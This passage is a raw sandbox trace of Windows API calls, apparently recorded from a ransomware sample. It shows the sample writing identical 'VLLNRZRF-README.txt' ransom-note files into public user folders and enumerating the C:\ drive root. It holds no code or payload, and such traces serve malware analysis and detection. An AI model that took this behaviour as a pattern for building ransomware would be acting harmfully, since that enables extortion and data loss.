lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x29 [0123.895] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0123.895] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Music\\VLLNRZRF-README.txt" (normalized: "c:\\users\\public\\music\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb997ce50, ftCreationTime.dwHighDateTime=0x1d60166, ftLastAccessTime.dwLowDateTime=0xb997ce50, ftLastAccessTime.dwHighDateTime=0x1d60166, ftLastWriteTime.dwLowDateTime=0xb997ce50, ftLastWriteTime.dwHighDateTime=0x1d60166, nFileSizeHigh=0x0, nFileSizeLow=0x5f3)) returned 1 [0123.895] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0123.911] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Sample Music\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x36 [0123.911] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0123.912] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\VLLNRZRF-README.txt" (normalized: "c:\\users\\public\\music\\sample music\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0123.912] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0123.912] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Sample Music\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x36 [0123.912] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0123.912] CreateFileW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\VLLNRZRF-README.txt" (normalized: "c:\\users\\public\\music\\sample music\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x53c [0123.916] GetFileType (hFile=0x53c) returned 0x1 [0123.916] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0123.916] GetFileType (hFile=0x53c) returned 0x1 [0123.916] SetFilePointer (in: hFile=0x53c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0123.917] WriteFile (in: hFile=0x53c, lpBuffer=0x220b928*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x220b928*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0123.918] CloseHandle (hObject=0x53c) returned 1 [0135.003] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x2c [0135.003] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0135.003] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\VLLNRZRF-README.txt" (normalized: "c:\\users\\public\\pictures\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9bb82f0, ftCreationTime.dwHighDateTime=0x1d60166, ftLastAccessTime.dwLowDateTime=0xb9bb82f0, ftLastAccessTime.dwHighDateTime=0x1d60166, ftLastWriteTime.dwLowDateTime=0xb9bb82f0, ftLastWriteTime.dwHighDateTime=0x1d60166, nFileSizeHigh=0x0, nFileSizeLow=0x5f3)) returned 1 [0135.004] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0135.017] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x3c [0135.017] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0135.017] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\VLLNRZRF-README.txt" (normalized: "c:\\users\\public\\pictures\\sample pictures\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0135.017] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0135.018] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x3c [0135.018] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0135.018] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\VLLNRZRF-README.txt" (normalized: "c:\\users\\public\\pictures\\sample pictures\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x524 [0135.018] GetFileType (hFile=0x524) returned 0x1 [0135.018] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0135.018] GetFileType (hFile=0x524) returned 0x1 [0135.019] SetFilePointer (in: hFile=0x524, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0135.019] WriteFile (in: hFile=0x524, lpBuffer=0x22eb808*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x22eb808*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0135.020] CloseHandle (hObject=0x524) returned 1 [0142.680] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x2f [0142.680] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0142.680] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\VLLNRZRF-README.txt" (normalized: "c:\\users\\public\\recorded tv\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0142.680] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0142.680] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x2f [0142.681] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0142.681] CreateFileW (lpFileName="C:\\Users\\Public\\Recorded TV\\VLLNRZRF-README.txt" (normalized: "c:\\users\\public\\recorded tv\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x4f0 [0142.682] GetFileType (hFile=0x4f0) returned 0x1 [0142.682] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0142.682] GetFileType (hFile=0x4f0) returned 0x1 [0142.682] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0142.683] WriteFile (in: hFile=0x4f0, lpBuffer=0x22cf728*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x22cf728*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0142.684] CloseHandle (hObject=0x4f0) returned 1 [0142.711] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV\\Sample Media\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x3c [0142.711] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0142.711] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\VLLNRZRF-README.txt" (normalized: "c:\\users\\public\\recorded tv\\sample media\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0142.712] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0142.712] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV\\Sample Media\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x3c [0142.712] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0142.712] CreateFileW (lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\VLLNRZRF-README.txt" (normalized: "c:\\users\\public\\recorded tv\\sample media\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x32c [0142.714] GetFileType (hFile=0x32c) returned 0x1 [0142.714] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0142.714] GetFileType (hFile=0x32c) returned 0x1 [0142.714] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0142.715] WriteFile (in: hFile=0x32c, lpBuffer=0x22d5818*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x22d5818*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0142.716] CloseHandle (hObject=0x32c) returned 1 [0146.367] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x2a [0146.367] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0146.367] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Videos\\VLLNRZRF-README.txt" (normalized: "c:\\users\\public\\videos\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9bb82f0, ftCreationTime.dwHighDateTime=0x1d60166, ftLastAccessTime.dwLowDateTime=0xb9bb82f0, ftLastAccessTime.dwHighDateTime=0x1d60166, ftLastWriteTime.dwLowDateTime=0xb9bde450, ftLastWriteTime.dwHighDateTime=0x1d60166, nFileSizeHigh=0x0, nFileSizeLow=0x5f3)) returned 1 [0146.367] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0146.499] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0146.505] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0146.690] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0146.783] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0146.892] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0146.955] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\Sample Videos\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x38 [0146.955] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0146.955] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\VLLNRZRF-README.txt" (normalized: "c:\\users\\public\\videos\\sample videos\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0146.955] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0146.955] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\Sample Videos\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x38 [0146.955] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0146.955] CreateFileW (lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\VLLNRZRF-README.txt" (normalized: "c:\\users\\public\\videos\\sample videos\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x534 [0146.956] GetFileType (hFile=0x534) returned 0x1 [0146.956] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0146.956] GetFileType (hFile=0x534) returned 0x1 [0146.956] SetFilePointer (in: hFile=0x534, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0146.956] WriteFile (in: hFile=0x534, lpBuffer=0x21fbb58*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x21fbb58*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0146.957] CloseHandle (hObject=0x534) returned 1 [0155.193] CoUninitialize () Thread: id = 25 os_tid = 0x3d4 [0080.640] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0080.925] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ce5ea80, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0080.926] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ce5eee0) returned 1 [0080.926] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ce5e9d0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0080.926] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ce5e970, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0080.926] FindFirstFileW (in: lpFileName="C:\\*.*", lpFindFileData=0x1ce5eb80 | out: lpFindFileData=0x1ce5eb80*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x1a578c60 [0080.928] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ce5ebd0 | out: lpFindFileData=0x1ce5ebd0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0080.928] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ce5ebd0 | out: lpFindFileData=0x1ce5ebd0*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0080.930] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ce5ebd0 | out: lpFindFileData=0x1ce5ebd0*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0080.931] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ce5ebd0 | out: lpFindFileData=0x1ce5ebd0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa0fd5810, ftLastAccessTime.dwHighDateTime=0x1d60166, ftLastWriteTime.dwLowDateTime=0xa0fd5810, ftLastWriteTime.dwHighDateTime=0x1d60166, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0080.931] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ce5ebd0 | out: lpFindFileData=0x1ce5ebd0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0080.931] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ce5ebd0 | out: lpFindFileData=0x1ce5ebd0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xae99ef60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0080.931] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ce5ebd0 | out: lpFindFileData=0x1ce5ebd0*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0080.931] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ce5ebd0 | out: lpFindFileData=0x1ce5ebd0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xaece4da0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0080.931] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ce5ebd0 | out: lpFindFileData=0x1ce5ebd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0080.931] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ce5ebd0 | out: lpFindFileData=0x1ce5ebd0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe44d1100, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe44d1100, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0080.932] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ce5ebd0 | out: lpFindFileData=0x1ce5ebd0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0080.932] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ce5ebd0 | out: lpFindFileData=0x1ce5ebd0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0080.932] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ce5ebd0 | out: lpFindFileData=0x1ce5ebd0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27cc8060, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27cc8060, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0080.932] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ce5ebd0 | out: lpFindFileData=0x1ce5ebd0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x56231c60, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0xa1602bc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa1602bc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0080.932] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ce5ebd0 | out: lpFindFileData=0x1ce5ebd0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0080.933] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ce5ebd0 | out: lpFindFileData=0x1ce5ebd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0f3d290, ftCreationTime.dwHighDateTime=0x1d60166, ftLastAccessTime.dwLowDateTime=0xa0f3d290, ftLastAccessTime.dwHighDateTime=0x1d60166, ftLastWriteTime.dwLowDateTime=0xa0f633f0, ftLastWriteTime.dwHighDateTime=0x1d60166, nFileSizeHigh=0x0, nFileSizeLow=0x5f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="VLLNRZRF-README.txt", 